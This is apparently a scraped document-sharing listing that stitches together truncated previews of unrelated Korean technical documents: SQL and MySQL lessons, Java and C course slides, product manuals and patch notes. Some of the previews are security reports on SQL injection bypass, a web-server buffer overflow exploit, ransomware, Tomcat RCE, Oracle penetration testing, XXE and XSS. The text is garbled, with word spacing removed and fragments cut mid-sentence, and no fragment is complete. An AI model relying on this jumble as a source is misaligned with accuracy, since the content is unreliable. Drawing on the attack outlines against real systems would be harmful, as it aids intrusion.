10 장. DB 서버구축및운영 DBMS 의개념과용어를익힌다. 간단한 SQL 문법을학습한다. MySQL 서버를설치 / 운영한다. 관련용어 데이터 : 자료 테이블 : 데이터를표형식으로표현 레코드 : 테이블의행 필드또는컬럼 : 테이블의열 필드명 : 각필드의이름 데이터타입 : 각필드에입력할값의형식 학번이름주소연락처 관련용어 DB : 테이블의집합 DBMS : DB 들을관리하는소프트웨어
More informationData Sync Manager(DSM) Example Guide Data Sync Manager (DSM) Example Guide DSM Copyright 2003 Ari System, Inc. All Rights reserved. Data Sync Manager
Data Sync Manager (DSM) Example Guide DSM Copyright 2003 Ari System, Inc. All Rights reserved. Data Sync Manager are trademarks or registered trademarks of Ari System, Inc. 1 Table of Contents Chapter1
More informationJAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각
JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( http://java.sun.com/javase/6/docs/api ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각선의길이를계산하는메소드들을작성하라. 직사각형의가로와세로의길이는주어진다. 대각선의길이는 Math클래스의적절한메소드를이용하여구하라.
More informationMicrosoft PowerPoint - Java7.pptx
HPC & OT Lab. 1 HPC & OT Lab. 2 실습 7 주차 Jin-Ho, Jang M.S. Hanyang Univ. HPC&OT Lab. jinhoyo@nate.com HPC & OT Lab. 3 Component Structure 객체 (object) 생성개념을이해한다. 외부클래스에대한접근방법을이해한다. 접근제어자 (public & private)
More informationMicrosoft Word - src.doc
IPTV 서비스탐색및콘텐츠가이드 RI 시스템운용매뉴얼 목차 1. 서버설정방법... 5 1.1. 서비스탐색서버설정... 5 1.2. 컨텐츠가이드서버설정... 6 2. 서버운용방법... 7 2.1. 서비스탐색서버운용... 7 2.1.1. 서비스가이드서버실행... 7 2.1.2. 서비스가이드정보확인... 8 2.1.3. 서비스가이드정보추가... 9 2.1.4. 서비스가이드정보삭제...
More information커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서
커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드
More informationMicrosoft PowerPoint - e pptx
Import/Export Data Using VBA Objectives Referencing Excel Cells in VBA Importing Data from Excel to VBA Using VBA to Modify Contents of Cells 새서브프로시저작성하기 프로시저실행하고결과확인하기 VBA 코드이해하기 Referencing Excel Cells
More information5장 SQL 언어 Part II
5 장 SQL 언어 Part II 박창이 서울시립대학교통계학과 박창이 ( 서울시립대학교통계학과 ) 5 장 SQL 언어 Part II 1 / 26 데이터조작문 데이터검색 : SELECT 문데이터추가 : INSERT 문데이터수정 : UPDATE 문데이터삭제 : DELETE 문 박창이 ( 서울시립대학교통계학과 ) 5 장 SQL 언어 Part II 2 / 26 SELECT
More informationAPI STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum
API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 2012.11.23 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Document Distribution Copy Number Name(Role, Title) Date
More informationPowerPoint 프레젠테이션
MySQL - 명령어 1. 데이터베이스관련명령 2. 데이터베이스테이블관련명령 3. SQL 명령의일괄실행 4. 레코드관련명령 5. 데이터베이스백업및복원명령 1. 데이터베이스관련명령 데이터베이스접속명령 데이터베이스접속명령 mysql -u계정 -p비밀번호데이터베이스명 C: > mysql -ukdhong p1234 kdhong_db 데이터베이스생성명령 데이터베이스생성명령
More information금오공대 컴퓨터공학전공 강의자료
C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include
More information** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름
EDB 분석보고서 (016.01) 016.01.01~016.01.31 Exploit-DB(http://exploit-db.com) 에공개된취약점별로분류한정보입니다. 분석내용정리 ( 작성 : 펜타시큐리티시스템보안성평가팀 ) 016 년 1 월에공개된 Exploit-DB 의분석결과, SQL Injection 공격에대한취약점보고개수가가장많았습니다. 분석된 SQL Injection
More informationMicrosoft Word - SKINFOSEC-CHR-026- Mass SQL Injection 탐지 우회분석 보고서.doc
분석보고서 이동현 (dhclub20@naver.com) SK Infosec Co., Inc MSS 사업본부침해대응팀모의해킹파트 Table of Contents 1. 개요... 3 1.1. 배경... 3 1.2. 목적... 3 2. 공격분석... 4 2.1. Cookie Injection... 4 2.2. Cookie Injection의발생원인... 5 2.3.
More information취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환
취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit 2012-07-19 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Simple Web Server 취약점... 2 2.1. Simple Web Server 취약점개요... 2 2.2. Simple
More informationMicrosoft PowerPoint 웹 연동 기술.pptx
웹프로그래밍및실습 ( g & Practice) 문양세강원대학교 IT 대학컴퓨터과학전공 URL 분석 (1/2) URL (Uniform Resource Locator) 프로토콜, 호스트, 포트, 경로, 비밀번호, User 등의정보를포함 예. http://kim:3759@www.hostname.com:80/doc/index.html URL 을속성별로분리하고자할경우
More informationStuduino소프트웨어 설치
Studuino 프로그래밍환경 Studuino 소프트웨어설치 본자료는 Studuino 프로그래밍환경설치안내서입니다. Studuino 프로그래밍 환경의갱신에따라추가 / 수정될수있습니다. 목차 1. 소개... 1 2. Windows... 2 2.1. 프로그래밍환경설치... 2 2.1.1. 웹설치버전설치방법... 2 2.2. Studuino 프로그래밍환경실행...
More informationuntitled
Oracle DBMS 로그인의접근제어우회 취약점분석 2006. 2. 9 인터넷침해사고대응지원센터 (KISC) 본보고서의전부나일부를인용시반드시 [ 자료 : 한국정보보호진흥원 (KISA)] 룰명시하여주시기바랍니다. 개요 o 2005년이후 Oracle Critical Patch Update(CPU) 는 Oracle사제품대상으로다수의보안패치및보안패치와관련된일반패치를발표하는주요수단임
More informationALTIBASE HDB Patch Notes
ALTIBASE HDB 6.5.1.5.6 Patch Notes 목차 BUG-45643 암호화컬럼의경우, 이중화환경에서 DDL 수행시 Replication HandShake 가실패하는문제가있어수정하였습니다... 4 BUG-45652 이중화에서 Active Server 와 Standby Server 의 List Partition 테이블의범위조건이다른경우에 Handshake
More informationLab 3. 실습문제 (Single linked list)_해답.hwp
Lab 3. Singly-linked list 의구현 실험실습일시 : 2009. 3. 30. 담당교수 : 정진우 담당조교 : 곽문상 보고서제출기한 : 2009. 4. 5. 학과 : 학번 : 성명 : 실습과제목적 : 이론시간에배운 Singly-linked list를실제로구현할수있다. 실습과제내용 : 주어진소스를이용해 Singly-linked list의각함수를구현한다.
More information메뉴얼41페이지-2
데이터 기반 맞춤형 성장관리 솔루션 스마트빌 플러스 은행계좌등록 은행계좌를 조회하여 등록합니다. 신용카드등록 신용카드를 조회하여 등록합니다. 금융정보 자동수집을 위하여 인증서이름, 아이디, 비밀번호를 등록합니다. 통합 자동 수집 금융정보 통합 자동수집을 실행합니다 은행계좌등록 은행계좌를 조회하여 등록합니다. 신용카드등록 신용카드를 조회하여
More information슬라이드 제목 없음
MS SQL Server 마이크로소프트사가윈도우운영체제를기반으로개발한관계 DBMS 모바일장치에서엔터프라이즈데이터시스템에이르는다양한플랫폼에서운영되는통합데이터관리및분석솔루션 2 MS SQL Server 개요 3.1 MS SQL Server 개요 클라이언트-서버모델을기반으로하는관계 DBMS 로서윈도우계열의운영체제에서만동작함 오라클관계 DBMS 보다가격이매우저렴한편이고,
More informationActFax 4.31 Local Privilege Escalation Exploit
NSHC 2013. 05. 23 악성코드 분석 보고서 [ Ransomware 악성코드 ] 사용자의 컴퓨터를 강제로 잠그고 돈을 요구하는 형태의 공격이 기승을 부리고 있 습니다. 이러한 형태의 공격에 이용되는 악성코드는 Ransomware로 불리는 악성코 드 입니다. 한번 감염 시 치료절차가 복잡하며, 보고서 작성 시점을 기준으로 지속 적인 피해자가 발생되고
More informationResearch & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W
Research & Technique Apache Tomcat RCE 취약점 (CVE-2019-0232) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE-2019-0232 취약점은 Windows 시스템의 Apache Tomcat 서버에서 enablecmdlinearguments
More informationMicrosoft PowerPoint - chap06-2pointer.ppt
2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.
More informationPHP & ASP
단어장프로젝트 프로젝트2 단어장 select * from address where address like '% 경기도 %' td,li,input{font-size:9pt}
More informationchap 5: Trees
5. Threaded Binary Tree 기본개념 n 개의노드를갖는이진트리에는 2n 개의링크가존재 2n 개의링크중에 n + 1 개의링크값은 null Null 링크를다른노드에대한포인터로대체 Threads Thread 의이용 ptr left_child = NULL 일경우, ptr left_child 를 ptr 의 inorder predecessor 를가리키도록변경
More information<3035303432365FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>
개 요 홈페이지 해킹 현황 및 사례 홈페이지 개발시 보안 취약점 및 대책 주요 애플리케이션 보안 대책 결 론 참고자료 [부록1] 개발 언어별 로그인 인증 프로세스 예제 [부록2] 대규모 홈페이지 변조 예방을 위한 권고(안) [부록3] 개인정보의 기술적 관리적 보호조치 기준(안) [부록4] 웹 보안관련 주요 사이트 리스트 7000 6,478 6000 5000
More informationEndpoint Protector - Active Directory Deployment Guide
Version 1.0.0.1 Active Directory 배포가이드 I Endpoint Protector Active Directory Deployment Guide 목차 1. 소개...1 2. WMI 필터생성... 2 3. EPP 배포 GPO 생성... 9 4. 각각의 GPO 에해당하는 WMI 연결... 12 5.OU 에 GPO 연결... 14 6. 중요공지사항
More information로거 자료실
redirection 매뉴얼 ( 개발자용 ) V1.5 Copyright 2002-2014 BizSpring Inc. All Rights Reserved. 본문서에대한저작권은 비즈스프링 에있습니다. - 1 - 목차 01 HTTP 표준 redirect 사용... 3 1.1 HTTP 표준 redirect 예시... 3 1.2 redirect 현상이여러번일어날경우예시...
More informationBind Peeking 한계에따른 Adaptive Cursor Sharing 등장 엑셈컨설팅본부 /DB 컨설팅팀김철환 Bind Peeking 의한계 SQL 이최초실행되면 3 단계의과정을거치게되는데 Parsing 단계를거쳐 Execute 하고 Fetch 의과정을통해데이터
Bind Peeking 한계에따른 Adaptive Cursor Sharing 등장 엑셈컨설팅본부 /DB 컨설팅팀김철환 Bind Peeking 의한계 SQL 이최초실행되면 3 단계의과정을거치게되는데 Parsing 단계를거쳐 Execute 하고 Fetch 의과정을통해데이터를사용자에게전송하게되며 Parsing 단계에서실행계획이생성된다. Bind 변수를사용하는 SQL
More information목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate
ALTIBASE HDB 6.1.1.5.6 Patch Notes 목차 BUG-39240 offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG-41443 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate 한뒤, hash partition
More information윈도우시스템프로그래밍
데이타베이스 MySQL 을위한 MFC 를사용한 ODBC 프로그래밍 2013.05.15. 오병우 컴퓨터공학과금오공과대학교 http://www.apmsetup.com 또는 http://www.mysql.com APM Setup 설치발표자료참조 Department of Computer Engineering 2 DB 에속한테이블보기 show tables; 에러발생
More information슬라이드 1
Pairwise Tool & Pairwise Test NuSRS 200511305 김성규 200511306 김성훈 200614164 김효석 200611124 유성배 200518036 곡진화 2 PICT Pairwise Tool - PICT Microsoft 의 Command-line 기반의 Free Software www.pairwise.org 에서다운로드후설치
More informationMicrosoft PowerPoint - 11주차_Android_GoogleMap.ppt [호환 모드]
Google Map View 구현 학습목표 교육목표 Google Map View 구현 Google Map 지원 Emulator 생성 Google Map API Key 위도 / 경도구하기 위도 / 경도에따른 Google Map View 구현 Zoom Controller 구현 Google Map View (1) () Google g Map View 기능 Google
More informationLec. 2: MySQL and RMySQL
1 / 26 Lec. 2: MySQL and RMySQL Instructor: SANG-HOON CHO DEPT. OF STATISTICS AND ACTUARIAL SCIENCES Soongsil University 1. Introduction 2 / 26 이번강의에서는 MySQL 관계형데이터베이스관리시스템 (RDBMS, Relational Database
More informationPowerPoint Presentation
6 장 SQL (section 4-6) 목차 SECTION 01 SQL 의개요 1-1 SQL의역사 1-2 SQL의유형별종류 SECTION 02 데이터정의어 (DDL) 2-1 스키마 2-2 테이블생성 (CREATE TABLE) 2-3 테이블변경 (ALTER TABLE) 2-4 테이블제거 (DROP TABLE) 2-5 제약조건 SECTION 03 데이터조작어 (DML)
More information< 목차 > Ⅰ. 개요 3 Ⅱ. 실시간스팸차단리스트 (RBL) ( 간편설정 ) 4 1. 메일서버 (Exchange Server 2007) 설정변경 4 2. 스팸차단테스트 10
(https://www.kisarbl.or.kr) < 목차 > Ⅰ. 개요 3 Ⅱ. 실시간스팸차단리스트 (RBL) ( 간편설정 ) 4 1. 메일서버 (Exchange Server 2007) 설정변경 4 2. 스팸차단테스트 10 Ⅰ. 개요 실시간스팸차단리스트 (RBL) 는메일서버를운영하는누구나손쉽게효과적으로스팸수신을차단하는데이용할수있도록한국인터넷진흥원 (KISA)
More informationOracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용
Oracle hacking 작성자 : 임동현 (ddongsbrk@naver.com) 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용 Skill List 1. Oracle For Pentest 1. Find TNS Listener (Default 1521 port) (with nmap or amap) 2. Get the
More informationarcplan Enterprise 6 Charting Facelifts
SQL Server Analysis Services Tip 잘레시아 Copyright c 2010 Zalesia Co., Ltd. Agenda I II SSAS Non-Aggregatable 측정값처리 Copyright c 2010 Zalesia Co., Ltd. 2 Copyright c 2010 Zalesia Co., Ltd. 3 STEP1: Sales 큐브를위해데이터를미리준비한다.
More information목차 BUG DEQUEUE 의 WAIT TIME 이 1 초미만인경우, 설정한시간만큼대기하지않는문제가있습니다... 3 BUG [qp-select-pvo] group by 표현식에있는컬럼을참조하는집합연산이존재하지않으면결괏값오류가발생할수있습니다... 4
ALTIBASE HDB 6.5.1.5.10 Patch Notes 목차 BUG-46183 DEQUEUE 의 WAIT TIME 이 1 초미만인경우, 설정한시간만큼대기하지않는문제가있습니다... 3 BUG-46249 [qp-select-pvo] group by 표현식에있는컬럼을참조하는집합연산이존재하지않으면결괏값오류가발생할수있습니다... 4 BUG-46266 [sm]
More information슬라이드 제목 없음
4.2 SQL 개요 SQL 개요 SQL은현재 DBMS 시장에서관계 DBMS가압도적인우위를차지하는데중요한요인의하나 SQL은 IBM 연구소에서 1974년에 System R이라는관계 DBMS 시제품을연구할때관계대수와관계해석을기반으로, 집단함수, 그룹화, 갱신연산등을추가하여개발된언어 1986년에 ANSI( 미국표준기구 ) 에서 SQL 표준을채택함으로써 SQL이널리사용되는데기여
More information단계
본문서에서는 Tibero RDBMS 에서제공하는 Oracle DB Link 를위한 gateway 설치및설정방법과 Oracle DB Link 사용법을소개한다. Contents 1. TIBERO TO ORACLE DB LINK 개요... 3 1.1. GATEWAY 란... 3 1.2. ORACLE GATEWAY... 3 1.3. GATEWAY 디렉터리구조...
More informationMicrosoft Word - Crackme 15 from Simples 문제 풀이_by JohnGang.docx
CrackMe 15.exe (in Simples) 문제풀이 동명대학교정보보호동아리 THINK www.mainthink.net 강동현 Blog: johnghb.tistory.com e-mail: cari2052@gmail.com 1 목차 : 1. 문제설명및기본분석 --------------------------- P. 03 2 상세분석 ---------------------------
More information윈도우즈프로그래밍(1)
제어문 (2) For~Next 문 윈도우즈프로그래밍 (1) ( 신흥대학교컴퓨터정보계열 ) 2/17 Contents 학습목표 프로그램에서주어진특정문장을부분을일정횟수만큼반복해서실행하는문장으로 For~Next 문등의구조를이해하고활용할수있다. 내용 For~Next 문 다중 For 문 3/17 제어문 - FOR 문 반복문 : 프로그램에서주어진특정문장들을일정한횟수만큼반복해서실행하는문장
More information기술문서 작성 XXE Attacks 작성자 : 인천대학교 OneScore 김영성 I. 소개 2 II. 본문 2 가. XML external entities 2 나. XXE Attack 3 다. 점검방법 3 라.
기술문서 14. 11. 10. 작성 XXE Attacks 작성자 : 인천대학교 OneScore 김영성 dokymania@naver.com I. 소개 2 II. 본문 2 가. XML external entities 2 나. XXE Attack 3 다. 점검방법 3 라. Exploit 5 마. 피해 6 III. 결론 6 가. 권고사항 6 I. 소개 가. 역자 본문서는
More informationA Hierarchical Approach to Interactive Motion Editing for Human-like Figures
단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct
More information@OneToOne(cascade = = "addr_id") private Addr addr; public Emp(String ename, Addr addr) { this.ename = ename; this.a
1 대 1 단방향, 주테이블에외래키실습 http://ojcedu.com, http://ojc.asia STS -> Spring Stater Project name : onetoone-1 SQL : JPA, MySQL 선택 http://ojc.asia/bbs/board.php?bo_table=lecspring&wr_id=524 ( 마리아 DB 설치는위 URL
More information빅데이터분산컴퓨팅-5-수정
Apache Hive 빅데이터분산컴퓨팅 박영택 Apache Hive 개요 Apache Hive 는 MapReduce 기반의 High-level abstraction HiveQL은 SQL-like 언어를사용 Hadoop 클러스터에서 MapReduce 잡을생성함 Facebook 에서데이터웨어하우스를위해개발되었음 현재는오픈소스인 Apache 프로젝트 Hive 유저를위한
More information다양한 예제로 쉽게 배우는 오라클 SQL 과 PL/SQL
다양한예제로쉽게배우는 오라클 SQL 과 PL/SQL 서진수저 9 장인덱스를배웁니다 1 1. 인덱스란무엇인가? 2 - ROWID ( 주소 ) 조회하기 SCOTT>SELECT ROWID, empno, ename 2 FROM emp 3 WHERE empno=7902 ; ROWID EMPNO ENAME --------------------------------- ----------
More information쉽게 풀어쓴 C 프로그래밊
Power Java 제 27 장데이터베이스 프로그래밍 이번장에서학습할내용 자바와데이터베이스 데이터베이스의기초 SQL JDBC 를이용한프로그래밍 변경가능한결과집합 자바를통하여데이터베이스를사용하는방법을학습합니다. 자바와데이터베이스 JDBC(Java Database Connectivity) 는자바 API 의하나로서데이터베이스에연결하여서데이터베이스안의데이터에대하여검색하고데이터를변경할수있게한다.
More informationXSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks
XSS s XSS, s, May 25, 2010 XSS s 1 2 s 3 XSS s MySpace 사건. Samy (JS.Spacehero) 프로필 페이지에 자바스크립트 삽입. 스크립트 동작방식 방문자를 친구로 추가. 방문자의 프로필에 자바스크립트를 복사. 1시간 만에 백만 명이 친구등록. s XSS s 위험도가 낮은 xss 취약점을 다른 취약점과 연계하여
More informationMicrosoft PowerPoint - 3장-MS SQL Server.ppt [호환 모드]
MS SQL Server 마이크로소프트사가윈도우운영체제를기반으로개발한관계 DBMS 모바일장치에서엔터프라이즈데이터시스템에이르는다양한플랫폼에서운영되는통합데이터관리및분석솔루션 2 MS SQL Server 개요 3.1 MS SQL Server 개요 클라이언트-서버모델을기반으로하는관계 DBMS로서윈도우계열의운영체제에서만동작함 오라클관계 DBMS보다가격이매우저렴한편이고,
More information[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi
2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,
More informationVPN.hwp
Linksys VPN Router RV042&RV082 VPN Router 용 VPN 터널설정 한국어사용자설명서 V1.0 Table of Content 1 Gateway to Gateway 설정... 1 STEP 1 - Gateway to Gateway 터널생성하기... 1 STEP 2 - 터널정보입력하기... 1 STEP 3 - Gateway to Gateway
More informationJDBC 소개및설치 Database Laboratory
JDBC 소개및설치 JDBC } What is the JDBC? } JAVA Database Connectivity 의약어 } 자바프로그램안에서 SQL 을실행하기위해데이터베이스를연결해주는응용프로그램인터페이스 } 연결된데이터베이스의종류와상관없이동일한방법으로자바가데이터베이스내에서발생하는트랜잭션을제어할수있도록하는환경을제공 2 JDBC Driver Manager }
More informationPowerPoint 프레젠테이션
실습문제 Chapter 05 데이터베이스시스템... 오라클로배우는데이터베이스개론과실습 1. 실습문제 1 (5 장심화문제 : 각 3 점 ) 6. [ 마당서점데이터베이스 ] 다음프로그램을 PL/SQL 저장프로시져로작성하고실행해 보시오. (1) ~ (2) 7. [ 마당서점데이터베이스 ] 다음프로그램을 PL/SQL 저장프로시져로작성하고실행해 보시오. (1) ~ (5)
More information학습목표 함수프로시저, 서브프로시저의의미를안다. 매개변수전달방식을학습한다. 함수를이용한프로그래밍한다. 2
학습목표 함수프로시저, 서브프로시저의의미를안다. 매개변수전달방식을학습한다. 함수를이용한프로그래밍한다. 2 6.1 함수프로시저 6.2 서브프로시저 6.3 매개변수의전달방식 6.4 함수를이용한프로그래밍 3 프로시저 (Procedure) 프로시저 (Procedure) 란무엇인가? 논리적으로묶여있는하나의처리단위 내장프로시저 이벤트프로시저, 속성프로시저, 메서드, 비주얼베이직내장함수등
More information대량문자API연동 (with directsend)
1 삼정데이타서비스 DIRECTSEND 제공 [ 저작권안내 ] 본문서는삼정데이타서비스 ( 주 ) 에서고객의원활한업무지원을위하여무상으로배포하는사용자매뉴얼및가이드로써저작권과전송권은삼정데이타서비스 ( 주 ) 에있습니다. 따라서당사고객이이를이러한용도로사용하는것에는제한이없으나저작권자에대한허락및표시없이이를제 3 자에게재전송하거나복사및무단전제할때는국내및국제저작권법에의하여서비스이용이제한되고법적인책임이따를수있습니다.
More informationLab-Numpyinanutshell Copyright 2018 document created by Introduction PDF 파일다운로드 오래기다리셨습니다. 드디어 Machin Learning 강의첫번째 Lab Assi
Lab-Numpyinanutshell Copyright 2018 document created by teamlab.gachon@gmail.com Introduction PDF 파일다운로드 오래기다리셨습니다. 드디어 Machin Learning 강의첫번째 Lab Assignment 입니다. 머신러닝강의는사 실 Lab 제작에있어많은고민을했습니다. 처음이야상관없겠지만뒤로갈수록데이터도커지고,
More information<C1A62038B0AD20B0ADC0C7B3EBC6AE2E687770>
제 8강 SQL: 관계데이터베이스언어 강의목표 관계데이타베이스언어로서상용 DBMS에서가장널리사용되는 SQL의동작원리에관하여학습하고, 이를이용하여다양한질의문을작성하는방법을습득한다 기대효과 SQL의데이터정의기능을이해한다 SQL의데이터조작기능중질의기능을이해한다 SQL의데이터조작기능중데이터갱신기능을이해한다 SQL의데이터조작기능중뷰및인덱스관련기능을이해한다 SQL 의개요
More informationuFOCS
1 기 : 기 UF_D_V250_002 기 기 기 품 ufocs 기 v2.5.0 히기기기기기기기기기 기 Manual 기 version 기 3.2 기품 2011.7.29 히기 345-13 1 Tel : 02-857-3051 Fax : 02-3142-0319 : http://www.satu.co.kr 2010 SAT information Co., Ltd. All
More informationMicrosoft PowerPoint - C++ 5 .pptx
C++ 언어프로그래밍 한밭대학교전자. 제어공학과이승호교수 연산자중복 (operator overloading) 이란? 2 1. 연산자중복이란? 1) 기존에미리정의되어있는연산자 (+, -, /, * 등 ) 들을프로그래머의의도에맞도록새롭게정의하여사용할수있도록지원하는기능 2) 연산자를특정한기능을수행하도록재정의하여사용하면여러가지이점을가질수있음 3) 하나의기능이프로그래머의의도에따라바뀌어동작하는다형성
More information2007 상반기 실적회의 - DRM Extension
Secure Coding 을위한 Semantic 분석엔진 SPARROW SCE PA 사업부개발 2 팀장 정영범박사 사이버해킹 55 억 보안취약점 75% 보안약점의조기제거 30 배 Secure Coding Mandatory 2012.12 40억이상 2014. 20억이상 2015. 감리대상사업전체 행정기관 제안요청서에 SW 개발보안적용명시 계약시 SW개발보안을위한적절한개발절차및진단도구사용여부확인
More information임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과
임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수
More information<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>
기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)
More informationISP and CodeVisionAVR C Compiler.hwp
USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler http://www.avrmall.com/ November 12, 2007 Copyright (c) 2003-2008 All Rights Reserved. USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler
More informationC스토어 사용자 매뉴얼
쪽지 APP 디자인적용가이드 I. 쪽지 APP 소개 2 I. 쪽지 APP 소개 쪽지 APP 을통해쇼핑몰의특정회원또는특정등급의회원그룹에게 알림메시지나마케팅을위한쪽지를발송하실수있습니다. 쪽지 APP의주요기능 1. 전체회원, 특정ID, 특정회원그룹별로쪽지발송가능 2. 발송예약기능 3. 발송한쪽지에대해수신및열람내역조회가능 4. 쇼핑몰페이지에서쪽지함과쪽지알림창제공 3
More informationVisual Basic 반복문
학습목표 반복문 For Next문, For Each Next문 Do Loop문, While End While문 구구단작성기로익히는반복문 2 5.1 반복문 5.2 구구단작성기로익히는반복문 3 반복문 주어진조건이만족하는동안또는주어진조건이만족할때까지일정구간의실행문을반복하기위해사용 For Next For Each Next Do Loop While Wend 4 For
More information1
1 2 3 4 5 6 b b t P A S M T U s 7 m P P 8 t P A S M T U s 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Chapter 1 29 1 2 3 4 18 17 16 15 5 6 7 8 9 14 13 12 11 10 1 2 3 4 5 9 10 11 12 13 14 15
More information설치 순서 Windows 98 SE/Me/2000/XP 1 PC를 켜고 Windows를 시작합니다. 아직 컴퓨터에 프린터를 연결하지 마십시오. 2 PC에 P-S100 CD-ROM(프 린터 드라이버)을 삽입합니다. 3 설치 프로그램을 시작합니다. q CD-ROM의 PS1
디지털 사진 프린터 P-S100 프린터 드라이버 설치 가이드 사용하는 컴퓨터에 따라 제공된 프린터 드라이버를 설치합니다. 설치 절차 에 대한 자세한 내용은 CD-ROM의 Readme 파일을 참조하십시오. 작동 환경 Windows 호환 모델: IBM PC/AT 및 호환품 운영 체제: Windows 98 SE/Me/2000/XP (Windows 98 SE/Me/2000/XP
More information다양한 예제로 쉽게 배우는 오라클 SQL 과 PL/SQL
다양한예제로쉽게배우는 오라클 SQL 과 PL/SQL 서진수저 3 장 SQL 복수행함수 ( 그룹함수 ) 를배웁니다 1 함수이름 의 미 사용예 COUNT 입력되는데이터들의건수를출력 COUNT(sal) SUM 입력되는데이터들의합계값을출력 SUM(sal) AVG 입력되는데이터들의평균값을출력 AVG(sal) MAX 입력되는데이터들중최고값을출력 MAX(sal) MIN
More information